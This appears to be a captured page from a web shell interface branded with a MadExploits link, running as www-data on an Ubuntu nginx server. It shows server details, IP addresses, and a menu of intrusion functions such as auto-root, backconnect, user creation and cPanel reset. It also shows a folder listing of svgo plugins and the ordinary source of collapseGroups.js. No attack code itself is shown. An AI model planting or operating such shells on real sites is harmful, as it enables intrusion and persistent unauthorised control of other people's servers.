Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.1
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
amatya /
node_modules /
svgo /
plugins /
[ HOME SHELL ]
Name
Size
Permission
Action
_collections.js
57.03
KB
-rw-r--r--
_path.js
30.91
KB
-rw-r--r--
_transforms.js
9.97
KB
-rw-r--r--
addAttributesToSVGElement.js
2.02
KB
-rw-r--r--
addClassesToSVGElement.js
1.07
KB
-rw-r--r--
cleanupAttrs.js
1.28
KB
-rw-r--r--
cleanupEnableBackground.js
2.25
KB
-rw-r--r--
cleanupIDs.js
6.51
KB
-rw-r--r--
cleanupListOfValues.js
3.52
KB
-rw-r--r--
cleanupNumericValues.js
2.5
KB
-rw-r--r--
collapseGroups.js
2.92
KB
-rw-r--r--
convertColors.js
3.58
KB
-rw-r--r--
convertPathData.js
30.01
KB
-rw-r--r--
convertShapeToPath.js
4.39
KB
-rw-r--r--
convertStyleToAttrs.js
4.1
KB
-rw-r--r--
convertTransform.js
10.62
KB
-rw-r--r--
inlineStyles.js
7.7
KB
-rw-r--r--
mergePaths.js
2.01
KB
-rw-r--r--
minifyStyles.js
3.97
KB
-rw-r--r--
moveElemsAttrsToGroup.js
3.31
KB
-rw-r--r--
moveGroupAttrsToElems.js
1.81
KB
-rw-r--r--
prefixIds.js
5.08
KB
-rw-r--r--
removeAttributesBySelector.js
1.87
KB
-rw-r--r--
removeAttrs.js
4.06
KB
-rw-r--r--
removeComments.js
508
B
-rw-r--r--
removeDesc.js
767
B
-rw-r--r--
removeDimensions.js
708
B
-rw-r--r--
removeDoctype.js
1.01
KB
-rw-r--r--
removeEditorsNSData.js
1.51
KB
-rw-r--r--
removeElementsByAttr.js
1.89
KB
-rw-r--r--
removeEmptyAttrs.js
509
B
-rw-r--r--
removeEmptyContainers.js
690
B
-rw-r--r--
removeEmptyText.js
1.1
KB
-rw-r--r--
removeHiddenElems.js
6.46
KB
-rw-r--r--
removeMetadata.js
392
B
-rw-r--r--
removeNonInheritableGroupAttrs...
945
B
-rw-r--r--
removeOffCanvasPaths.js
3.09
KB
-rw-r--r--
removeRasterImages.js
558
B
-rw-r--r--
removeScriptElement.js
423
B
-rw-r--r--
removeStyleElement.js
426
B
-rw-r--r--
removeTitle.js
411
B
-rw-r--r--
removeUnknownsAndDefaults.js
4.85
KB
-rw-r--r--
removeUnusedNS.js
2.33
KB
-rw-r--r--
removeUselessDefs.js
1.09
KB
-rw-r--r--
removeUselessStrokeAndFill.js
2.65
KB
-rw-r--r--
removeViewBox.js
1.11
KB
-rw-r--r--
removeXMLNS.js
591
B
-rw-r--r--
removeXMLProcInst.js
487
B
-rw-r--r--
reusePaths.js
6.33
KB
-rw-r--r--
sortAttrs.js
1.66
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : collapseGroups.js
'use strict'; exports.type = 'perItemReverse'; exports.active = true; exports.description = 'collapses useless groups'; var collections = require('./_collections'), attrsInheritable = collections.inheritableAttrs, animationElems = collections.elemsGroups.animation; function hasAnimatedAttr(item) { /* jshint validthis:true */ return item.isElem(animationElems) && item.hasAttr('attributeName', this) || !item.isEmpty() && item.content.some(hasAnimatedAttr, this); } /* * Collapse useless groups. * * @example * <g> * <g attr1="val1"> * <path d="..."/> * </g> * </g> * ⬇ * <g> * <g> * <path attr1="val1" d="..."/> * </g> * </g> * ⬇ * <path attr1="val1" d="..."/> * * @param {Object} item current iteration item * @return {Boolean} if false, item will be filtered out * * @author Kir Belevich */ exports.fn = function(item) { // non-empty elements if (item.isElem() && !item.isElem('switch') && !item.isEmpty()) { item.content.forEach(function(g, i) { // non-empty groups if (g.isElem('g') && !g.isEmpty()) { // move group attibutes to the single content element if (g.hasAttr() && g.content.length === 1) { var inner = g.content[0]; if (inner.isElem() && !inner.hasAttr('id') && !g.hasAttr('filter') && !(g.hasAttr('class') && inner.hasAttr('class')) && ( !g.hasAttr('clip-path') && !g.hasAttr('mask') || inner.isElem('g') && !g.hasAttr('transform') && !inner.hasAttr('transform') ) ) { g.eachAttr(function(attr) { if (g.content.some(hasAnimatedAttr, attr.name)) return; if (!inner.hasAttr(attr.name)) { inner.addAttr(attr); } else if (attr.name == 'transform') { inner.attr(attr.name).value = attr.value + ' ' + inner.attr(attr.name).value; } else if (inner.hasAttr(attr.name, 'inherit')) { inner.attr(attr.name).value = attr.value; } else if ( attrsInheritable.indexOf(attr.name) < 0 && !inner.hasAttr(attr.name, attr.value) ) { return; } g.removeAttr(attr.name); }); } } // collapse groups without attributes if (!g.hasAttr() && !g.content.some(function(item) { return item.isElem(animationElems) })) { item.spliceContent(i, 1, g.content); } } }); } };
Close